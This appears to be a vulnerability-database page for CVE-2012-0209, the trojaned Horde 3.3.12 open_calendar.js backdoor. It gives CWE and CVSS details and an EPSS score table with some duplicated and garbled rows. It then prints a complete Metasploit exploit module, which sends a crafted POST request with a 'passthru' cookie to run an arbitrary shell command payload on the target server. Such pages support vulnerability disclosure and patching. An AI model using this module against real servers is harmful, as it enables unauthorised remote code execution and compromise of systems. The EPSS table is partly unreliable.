CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Horde 3.3.12, Horde Groupware 1.2.10, and Horde Groupware Webmail Edition 1.2.10, as distributed by FTP between November 2011 and February 2012, contains an externally introduced modification (Trojan Horse) in templates/javascript/open_calendar.js, which allows remote attackers to execute arbitrary PHP code.
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
79.45%
–
–
2022-02-27
–
–
77.94%
–
–
2022-06-12
–
–
76.65%
–
–
2022-09-11
–
–
74.95%
–
–
2022-12-11
–
–
74.4%
–
–
2023-03-12
–
–
–
65.62%
–
2023-04-16
–
–
–
58.83%
–
2023-10-22
–
–
–
45.37%
–
2023-12-24
–
–
–
59.18%
–
2024-02-11
–
–
–
85.97%
–
2024-03-17
–
–
–
87.2%
–
2024-04-14
–
–
–
87.1%
–
2024-06-02
–
–
–
89.62%
–
2024-07-28
–
–
–
89.03%
–
2024-09-22
–
–
–
60.65%
–
2024-10-20
–
–
–
58.15%
–
2024-12-08
–
–
–
46.72%
–
2024-12-22
–
–
–
60.64%
–
2025-02-02
–
–
–
61.21%
–
2025-01-19
–
–
–
60.64%
–
2025-02-02
–
–
–
61.21%
–
2025-03-18
–
–
–
–
77.69%
2025-03-18
–
–
–
–
77.69,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution vulnerability introduced
as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
},
'Author' => [
'Eric Romang', # first public PoC
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-0209'],
[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x0a\x0d",
'DisableNops' => true,
'Space' => 4096,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'DefaultTarget' => 0,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Feb 13 2012'
))
register_options(
[
OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
], self.class)
end
def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end
# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end
function = "passthru"
key = Rex::Text.rand_text_alpha(6)
arguments = "echo #{key}`"+payload.raw+"`#{key}"
res = send_request_cgi({
'uri' => uri + "/services/javascript.php",
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "app="+datastore['APP']+"&file=open_calendar.js",
'headers' =>
{
'Cookie' => "href="+function+":"+arguments,
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response
if (res)
print_status("The server returned: #{res.code} #{res.message}")
end
resp = res.body.split(key)
if resp and resp[1]
print_status(resp[1])
else
print_error("No response found")
end
handler
end
end